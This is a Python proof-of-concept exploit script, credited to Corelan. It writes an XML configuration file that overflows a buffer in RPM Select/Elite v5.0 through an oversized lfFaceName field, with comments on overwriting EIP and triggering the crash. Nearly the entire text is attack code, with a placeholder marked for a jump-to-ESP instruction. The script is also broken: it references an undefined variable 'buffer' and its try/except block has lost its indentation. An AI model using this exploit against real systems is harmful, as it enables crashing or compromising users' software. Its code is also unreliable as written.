#!/usr/bin/python
# ####################################################################
# RPM Select/Elite v5.0 (.xml config parsing) unicode buffer overflow PoC
# Found by: mr_me - http://net-ninja.net/
# Homepage: http://lpd.brooksnet.com/
# Download: http://www.brooksnet.com/download-rpmselect
# Tested on: Windows XP SP3
# Advisory: http://www.corelan.be:8800/advisories.php?id=10-024
# Greetz: Corelan Security Team
# http://www.corelan.be:8800/index.php/security/corelan-team-members/
# ####################################################################
# Notes: We overwrite EIP @ 32 bytes in, and the function doesnt copy
# enough of our string to hit SEH. However modules are compiled with
# SAFESEH anyway. Combine that with unicode and the printable ascii
# limitations, we are presented with to much of a hurdle.
# ####################################################################
# How to trigger the crash:
# file -> import configuration
# Click on the queue name, then click on the imported transform
# Click 'modify transform' and b00m!
# ####################################################################
# Script provided 'as is', without any warranty.
# Use for educational purposes only.
# Do not use this code to do anything illegal !
# Corelan does not want anyone to use this script
# for malicious and/or illegal purposes.
# Corelan cannot be held responsible for any illegal use.
#
# Note : you are not allowed to edit/modify this code.
# If you do, Corelan cannot be held responsible for any damages.
header1 = """<RPM version="5.0.70.6">
<Queues>
<Queue>
<description>lol</description>
<seqno>0</seqno>
<enabled>1</enabled>
<actions>1</actions>
<held>0</held>
<running>0</running>
<name>mr_mes print queue</name>
<Transforms>
<Transform>
<LineWrap>0</LineWrap>
<lfPitchAndFamily>48</lfPitchAndFamily>
<lfOrientation>0</lfOrientation>
<lfFaceName>
"""
header2 = """</lfFaceName>
<lfWidth>0</lfWidth>
<UseCharsPerInch>0</UseCharsPerInch>
<lfItalic>0</lfItalic>
<UseLinesPerPage>0</UseLinesPerPage>
<lfEscapement>0</lfEscapement>
<LinesPerInch>6.000000</LinesPerInch>
<type>24</type>
<LeftMargin>0.500000</LeftMargin>
<PortraitMax>90</PortraitMax>
<CharsPerInch>10.000000</CharsPerInch>
<CharsPerLine>80</CharsPerLine>
<TopMargin>0.500000</TopMargin>
<LinesPerPage>60</LinesPerPage>
<lfQuality>2</lfQuality>
<lfStrikeOut>0</lfStrikeOut>
<lfWeight>400</lfWeight>
<FontSize>12</FontSize>
<lfUnderline>0</lfUnderline>
<BottomMargin>0.500000</BottomMargin>
<Orientation>portrait</Orientation>
<InputFormat>1252</InputFormat>
<CalcLayout>false</CalcLayout>
<UseLinesPerInch>1</UseLinesPerInch>
<RightMargin>0.500000</RightMargin>
<CtrlStrip>1</CtrlStrip>
<UseCharsPerLine>0</UseCharsPerLine>
<lfCharSet>1</lfCharSet>
<lfOutPrecision>0</lfOutPrecision>
<lfClipPrecision>0</lfClipPrecision>
<SuppressBlankPage>1</SuppressBlankPage>
<lfHeight>-16</lfHeight>
</Transform>
</Transforms>
<Jobs />
</Queue>
</Queues>
<Hosts />
</RPM>
"""
payload = "\x41" * 32
payload += "\x42\x42" # your "jmp to esp" instruction should go here
payload += "\x44" * (5000-len(buffer))
exploit = header1.rstrip() + payload.rstrip() + header2.rstrip()
try:
f=open("cst-rpm-config.xml",'w')
f.write(exploit)
f.close()
print "[+] File created successfully !"
except:
print "[-] Error cannot write xml file to system\n"
